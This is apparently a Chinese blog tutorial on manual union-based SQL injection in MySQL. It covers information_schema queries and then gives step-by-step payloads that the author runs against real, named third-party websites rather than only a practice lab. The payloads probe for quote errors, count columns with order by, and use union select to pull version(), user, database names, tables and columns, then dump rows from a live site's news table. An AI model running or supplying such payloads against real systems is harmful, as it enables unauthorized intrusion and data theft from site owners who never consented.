SQL注入:MySQL元数据库,外网实战手工SQL注入

MySQL元数据库

MySQL的元数据库是一组特殊的数据库,用于存储MySQL服务器的元数据信息,在sql注入中较为常用为以下两种元数据库:

  1. information_schema:这个数据库包含了MySQL服务器上所有其他数据库的元数据信息。例如数据库名、表名、列的数据类型或访问权限等。

  2. mysql:这是MySQL的核心数据库,存储了用户权限设置、数据库的用户、关键字等。

sql注入中元数据库的应用

information_schema元数据库中需要了解 tables 数据表 和 clomuns 数据表,以下是两种数据表的应用

tables数据表:存放所有数据库及数据表信息

主要字段:

1.table_schema: 存放所有数据表对应的数据库名。每一条数据表名信息,对应一条table_schema字段的值,其值为数据表名所在的数据库名。

2.table_name:包含所有数据表信息,需引用table_schema字段信息进行查询

查询指定数据库中的所有表
SELECT TABLE_NAME FROM information_schema.tables WHERE TABLE_SCHEMA='库名';
查pikachu询数据库中所有表
SELECT TABLE_NAME FROM information_schema.tables WHERE TABLE_SCHEMA='pikachu';

在information_schema数据库中的tables表,查询满足条件TABLE_SCHEMA字段值为pikachu,的TABLE_NAME字段的值

columns数据表:存放数据库,数据表及其字段信息。

主要字段:

1.TABLE_NAME:存放数据表名,数据表每一条字段信息,对应一条TABLE_NAME的值,其值为字段所在的数据表名

2.COLUMN_NAME:存放所有字段名,需引用table_name字段值进行查询

**3.TABLE_SCHEMA:**存放所有字段对应的数据库名。每一条字段信息,对应一条table_schema字段的值,其值为字段所在的数据库名。与TABLE_NAME联用进行精确查询

查询指定表中的所有字段名
SELECT COLUMN_NAME FROM information_schema.columns WHERE TABLE_NAME='表名' AND TABLE_SCHEMA='库名';
查询pikachu数据库下users表中的所有字段
SELECT COLUMN_NAME FROM information_schema.columns WHERE TABLE_NAME='users' AND TABLE_SCHEMA='pikachu';

其余元数据查询

查询数据库数量及名称

select schema_name from information_schema.schemata

手工SQL注入

url:https://tpsldh.com/about.php?id=1

1.判断是否存在漏洞

tpsldh.com/about.php?id=1%27

页面:回显异常,sql报错回显,大概率存在注入漏洞

2.拼接布尔语句判断注入点类型

数值型: https://tpsldh.com/about.php?id=1 and 1=2

页面:无报错,回显正常

字符型:

<1> ?id=1' and 1=2 --+【--+为注释符,注释后续sql语句】

页面:回显异常

<2> ?id=1' and 1=1 --+【--+为注释符,注释后续sql语句】

页面:回显正常

拼接字符型sql语句,服务器正常执行,判断注入点为字符型

3.判断字符型参数闭合类型

<1> 单引号 ?id=1'

页面:回显异常

<2>双引号 ?id=1"

页面:回显正常

拼接单引号会触发sql语法报错。拼接双引号sql语句查询时,忽略多余字符,正常回显。判断闭合类型为单引号

4.拼接order by 对查询结果进行排序,判断页面引用数据库字段数

如果ORDER BY指定的列名在查询的表中不存在,将会报错。列名可以数字代替

?id=1' order by 1 --+

?id=1' order by 2 --+

................

?id=1' order by 6 --+

页面:正常回显

?id=1' order by 7 --+

页面:回显异常

逻辑:将查询结果指定第七列进行排序时,触发sql语法报错。指定第六列排序,页面回显正常。可以得出该页面引用数据库所在数据表的字段数为6位

5.更改原参数,使原查询失效并拼接union联合查询,判断回显点

UNION 操作符用于合并两个或多个 SELECT 语句的结果集,生成单个结果集。

?id=-1'union select 1,2,3,4,5,6 --+

页面:出现拼接回显数字

逻辑:所有union联合查询多个结果集时,由于原参数失效,使页面回显拼接的结果集,从而判断回显点

出现意外,不适合新手实操,更换网站

https://www.csi-india.org/news/index.php?id=18

注入点类型:数值

sql报错回显:无

sql语句执行:顺利

字段数:8

回显点:3,4,5,6

6.拼接系统函数,获取数据库信息

SQL注入常用系统函数及变量-CSDN博客

载荷:?id=-18 union select 1,2,version(),@@datadir,database(),user(),7,8 --+

页面:回显点回显数据库参数

逻辑:数据库执行函数并返回结果拼接入回显点

7.元数据库查询数据库数量及信息

载荷:?id=-18 union select 1,2,group_concat(schema_name),4,5,6,7,8 from information_schema.schemata --+

页面:回显当前用户权限可查询的数据库信息

逻辑:元数据库查询信息并拼接入结果集中返回。由于·union 会去除重复的行,而查询的结果可能包含多个行,为防止数据丢失,使用group_concat函数,将多个行的值拼接为一个字符串,并使用逗号分割。

8.查询当前数据库下有哪些表

载荷:?id=-18 union select 1,2,group_concat(TABLE_NAME),4,5,6,7,8 from information_schema.tables where TABLE_SCHEMA=database() --+

页面:回显当前数据库下的数据表

逻辑:查询元数据库信息,语句意义见上文。database()返回当前数据库名,用作查询条件

9.查询数据表下有哪些字段

载荷:?id=-18 union select 1,2,group_concat(column_name),4,5,6,7,8 from information_schema.columns where table_name='news' --+

页面:回显字段名

逻辑:查询元数据库信息,语句意义见上文,指定查询数据表news内字段名

10.查询数据

<1>查询多个数据

载荷:

?id=-18 union select 1,2,(select concat(news_id,serial_no,news_title,news_description,news_file_path,file_doc,news_status,news_date) from csiindia_portal.news ),4,5,6,7,8 --+

页面:回显数据

逻辑:使用select子句查询所有数据,可拼接其他字符或换行符,通过limit控制回显条目。group_concat 在 MySQL 中有一个默认的长度限制(通常为 1024 字节)。如果合并的结果超出这个长度,返回的字符串将被截断。

<2>查询单个字段所有数据

载荷:?id=-18 union select 1,2,(select group_concat(news_title) from csiindia_portal.news ),4,5,6,7,8 --+

页面:回显数据

相关推荐
RainbowSea29 分钟前
9-1. MySQL 性能分析工具的使用——last\_query\_cost,慢查询日志
数据库·sql·mysql
Sui_Network44 分钟前
Sui 如何支持各种类型的 Web3 游戏
大数据·数据库·人工智能·游戏·web3·区块链
ZKNOW甄知科技1 小时前
IT服务运营管理体系的常用方法论与实践指南(上)
大数据·数据库·人工智能
黄雪超2 小时前
深入HBase——核心组件
数据结构·数据库·hbase
我爱松子鱼2 小时前
mysql之InnoDB Buffer Pool 深度解析与性能优化
android·mysql·性能优化
qq_529835353 小时前
Redis作为缓存和数据库的数据一致性问题
数据库·redis·缓存
知初~7 小时前
出行项目案例
hive·hadoop·redis·sql·mysql·spark·database
山猪打不过家猪8 小时前
ASP.NET Core Clean Architecture
java·数据库·asp.net
子非衣9 小时前
MySQL修改JSON格式数据示例
android·mysql·json
qwy7152292581639 小时前
13-R数据重塑
服务器·数据库·r语言